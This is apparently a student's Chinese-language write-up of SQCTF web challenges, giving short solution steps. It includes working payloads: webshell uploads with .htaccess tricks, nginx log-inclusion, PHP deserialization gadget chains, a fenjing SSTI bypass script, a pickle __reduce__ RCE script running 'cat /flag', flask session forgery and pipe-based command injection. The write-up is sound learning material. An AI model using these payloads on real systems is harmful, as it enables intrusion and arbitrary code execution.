ezGame

签到题,看源代码

找到flag.php,get传入score=2048就行

是兄弟就来传🐎

一句话木马上传,cmd.php包不行的

.jpg就行

抓包改成.php

蚁剑连接

根目录flag

My Blog

随便看看网页

用户名密码记下来

扫目录

flag点击就送

商师一日游

第一关,F12大法

碎片收集:sqctf{

第二关,改cookie

碎片收集:sqctf{82ca

第三关,找到你了

碎片收集:sqctf{82ca34867a

第四关,找robots.txt

碎片收集:sqctf{82ca34867ac54fdab

第五关,php代码绕过

碎片收集:sqctf{82ca34867ac54fdab779b0db0

第六关,删除disabled

碎片收集:sqctf{82ca34867ac54fdab779b0db01e553

进入最后一关

碎片收集sqctf{82ca34867ac54fdab779b0db01e55315}

eeaassyy

baby include

有点蒙

根据大佬指点看文章:文件包含&日志注入

日志包含漏洞的成因还是服务器没有进行严格的过滤 ,导致用户可以进行任意文件读取,

但是前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

测试/var/log/nginx/access.log,成功

传个🐎

蚁剑连接
http://challenge.qsnctf.com:31930/?look=/var/log/nginx/access.log,

嘿嘿嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
highlight_file(__FILE__);

class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}

public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}

class xxx {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __toString() {
return $this->data;
}
}

class yyy {
public $path;
public $allowed;

public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}

public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}

if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}

if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}

if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>

一开始我就陷入了一个误区,想着content === “GET_FLAG”,绕后就发现页面只有GET_FLAG,就不对。分析原因是我的解只会把”GET_FLAG”写入1.txt,然后就无了。

1
2
3
4
5
6
7
8
9
<?php
class hhh {
public $file = "1.txt";
public $content = "GET_FLAG";
}

$a = new hhh();
echo serialize($a);

之后问了一下AI,它说可以考虑利用yyy类,再看一眼,发现yyy类也有file_get_contents(我近视700度,视力有问题,Orz,Orz,Orz),所以可以利用yyy类把flag.php的内容赋值到类hhh的content里,然后把content的东西写到2.txt里,之后访问2.txt就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class hhh {
public $file = "1.txt";
public $content;
}

class yyy {
public $path = "flag.php";
public $allowed = true;
}

$a = new yyy();
$b = new hhh();
$b->content = $a;

echo serialize($b);
?>

File_download

xml

看提示

扫目录

出现了这个

下载FlagManager源码

根据ds指引下载了java反编译工具jd-gui

打开文件后出现了这个

看不懂java,但是觉得这一些字符串很像flag

ai跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def decrypt_flag():
key = [
110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
106, 188, 109, 186, 111, 188
]

flag_chars = []
for value in key:
original_char = (value ^ 0x30) - 38
flag_chars.append(chr(original_char))

flag = ''.join(flag_chars)
print("Decrypted flag is:", flag)

decrypt_flag()

结果:Decrypted flag is: 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

sqctf{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

?

解果大写一下就对了

SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

ping

简单的ping

|:Shell管道符,将前一个命令的输出作为后一个命令的输入。

并且题目上已经有1了,所以自己的127就可以写成27

ls /

cat /flag

RceMe

限5绕过 ls /

下次出个限4,不然nl /*输出根目录下的所有内容直接就过了

小小查询系统

sql

测试闭合条件

测试回显位数

测试回显点位

数据库(ctf)

查表(flag)

查列(id,value)

结果

哎呀大大大黑塔

?

看PV

宇宙有天才? 大黑塔不歪玩到关服? 42? 0+0? 6+5?

黑塔女士举世无双!黑塔女士聪明绝顶!黑塔女士沉鱼落雁! ?

算了,开一把模拟宇宙找找灵感

都不对,看看wp吧

真对了,忘截图了Orz,Orz,Orz,反正就是GET传参就行了

Ok,ez反序列化,只需要key=SQCTF就行了

1
2
3
4
5
6
<?php
class Secret {
public $key="SQCTF";
}
$a=new Secret();
echo serialize($a);

data=O:6:”Secret”:1:{s:3:”key”;s:5:”SQCTF”;}

baby rce

Level 1

sha1不识别数组,数组绕过

1
2
3
4
5
6
7
$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}

param1[]=123&param2[]=321

Level 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class TYctf{
public $person = 20;
public $computer_number = 30;

function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}

直接调用getKey函数输出就行

关于call_user_fnuc:call_user_func是PHP的内置函数,第一个参数是被调用的回调函数,其余参数是回调函数的参数

PHP手册连接:https://www.php.net/manual/zh/function.call-user-func.php

payload=TYctf::getKey就行

Upload_Level2

cmd包不行的

传🐎

蚁剑连接拿flag

Input a number

intval() 函数可以获取变量的整数值,所以构造个小数就行

114514.1919810

逸一时,误一世,逸久逸久罢已龄

白月光

fenjing跑

测试过后这几个被ban了:

1
'__init__','__globals__','__builtins__','import','_','os'

脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#根据WAF函数生成shell指令对应的payload
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [ '__init__','__globals__','__builtins__','import','_','os']
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls /")
config_payload = config_payload(waf)

print(f"{shell_payload=}")
print(f"{config_payload=}")

ls /

cat /flag

pickle

python反序列化,提示flag在/flag里

Pickle是Python的序列化模块,可以将对象转换为字节流(序列化),或从字节流重建对象(反序列化)。反序列化时,Pickle会按照字节流的指令重建对象,这一过程可能触发特定方法(如reduce),从而执行任意代码。
如果一个类定义了reduce方法,Pickle在序列化时会调用它。该方法返回一个元组:可调用对象:如函数、类构造器。参数:传递给可调用对象的参数。

反序列化时,Pickle会调用该对象并传递参数,从而实现代码执行。

通过构造reduce方法返回恶意函数和参数,攻击者可以在反序列化时执行任意命令。

文章:pickle反序列化漏洞基础知识与绕过简析

ds生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64

class Exploit:
def __reduce__(self):
# 使用subprocess绕过os.system限制,并直接输出结果
return (eval, (
"str(__import__('subprocess').check_output('cat /flag', shell=True))",
))

payload = pickle.dumps(Exploit(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print(b64_payload)

Ez_calculate

快速计算

快速Ctrl+C,计算后POST提交也不行

ds脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from bs4 import BeautifulSoup

url = "http://challenge.qsnctf.com:32607/" # 替换为目标URL

# 创建会话以保持题目一致性
with requests.Session() as s:
# 发送GET请求获取题目
response = s.get(url)
response.raise_for_status() # 确保请求成功

# 提取计算式
soup = BeautifulSoup(response.text, 'html.parser')
challenge_div = soup.find('div', class_='challenge')
expression = challenge_div.text.strip()

# 计算结果(假设表达式仅含+、-、*)
try:
result = eval(expression)
except:
print("计算表达式时出错")
exit(1)

# 提交POST请求
post_data = {'value': int(result)}
post_response = s.post(url, data=post_data)

print("响应内容:", post_response.text)

说明还需要点击这个按钮,再写一个点击的脚本就行

ds脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
from bs4 import BeautifulSoup

url = "http://challenge.qsnctf.com:32607/" # 替换为实际题目URL

with requests.Session() as s:
# 获取题目并计算答案
response = s.get(url)
response.raise_for_status()

soup = BeautifulSoup(response.text, 'html.parser')
expression = soup.find('div', class_='challenge').text.strip()
result = eval(expression)

# 提交答案
post_response = s.post(url, data={'value': result})

# 如果成功,访问flag页面
if "Success" in post_response.text:
# 打印原始响应内容以调试路径
print("提交成功后的响应内容:\n", post_response.text)

# 提取flag页面路径(例如从链接中获取)
flag_link = soup.find('a', href=True, text='Enter to get flag')
if flag_link:
flag_url = flag_link['href'] # 如相对路径需拼接完整URL
print("发现flag链接:", flag_url)
else:
flag_url = "/flag" # 默认路径(可能需要调整)

# 访问Flag页面
flag_response = s.get(url + flag_url) # 根据实际路径调整
print("[DEBUG] Flag页面原始内容:\n", flag_response.text)

# 动态提取Flag(根据实际页面结构调整)
flag_soup = BeautifulSoup(flag_response.text, 'html.parser')

# 尝试多种可能的提取方式
flag = None
# 情况1:Flag在<pre>标签中
if not flag:
flag_element = flag_soup.find('pre')
if flag_element:
flag = flag_element.text.strip()
# 情况2:Flag在<div class="flag">中
if not flag:
flag_element = flag_soup.find('div', class_='flag')
if flag_element:
flag = flag_element.text.strip()
# 情况3:直接全文匹配CTF{...}格式
if not flag:
import re
match = re.search(r'{.*?}', flag_response.text)
if match:
flag = match.group()

if flag:
print("成功获取Flag:", flag)
else:
print("未找到Flag,请检查页面结构:\n", flag_response.text)
else:
print("提交失败,响应内容:", post_response.text)

ds拯救了py脚本不会写的我

伪装

代码:

分析一下,我们需要在/admin的路由下进行session伪造,密钥为love,使得is_admin=1,name=sjx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, session, request, render_template_string
import flask
import os

app = Flask(__name__)
app.secret_key = 'love'

@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'name': 'aiyamaya'
}
with open(__file__, 'r') as file:
code = file.read()
return code

@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'

if role.get('is_admin') == 1 and role.get('name') == 'sjx':
flag = os.popen("cat /flag").read()
message = "Oh, You get me! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

命令行执行

1
flask-unsign --sign --cookie "{'role': {'is_admin': 1, 'name': 'sjx'}}" --secret 'love'

对flask session伪造的学习

Are you from SQNU?

ez_http

点击按钮,出现了tyctf,进行POST传参

hhh=abc

该User-Agent

本地访问

该cookie

图片展示功能

展示一下,说明jpg文件可以上传

cmd.php不用想,肯定不行

传个1.jpg,看看行不行

GIF89a

抓包

改文件名,不行

传.htaccess文件,原理:把1.jpg当作PHP文件进行运行

蚁剑连接

拿flag

ggoodd

ez_php

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
echo $flag;
}
?>

其中JSON(JavaScript Object Notation)是一种轻量级数据交换格式,它使用键值对结构:

{“x”: “cba”,”id”: 123,”flag”: true}

所以GETjson={“x”:”cba”},POSTid=abc就行

开发人员的小失误

常见的sql文件或者扩展名:sql,zip,tar,txt,bak,old

扫目录就行

下载对应文件就行了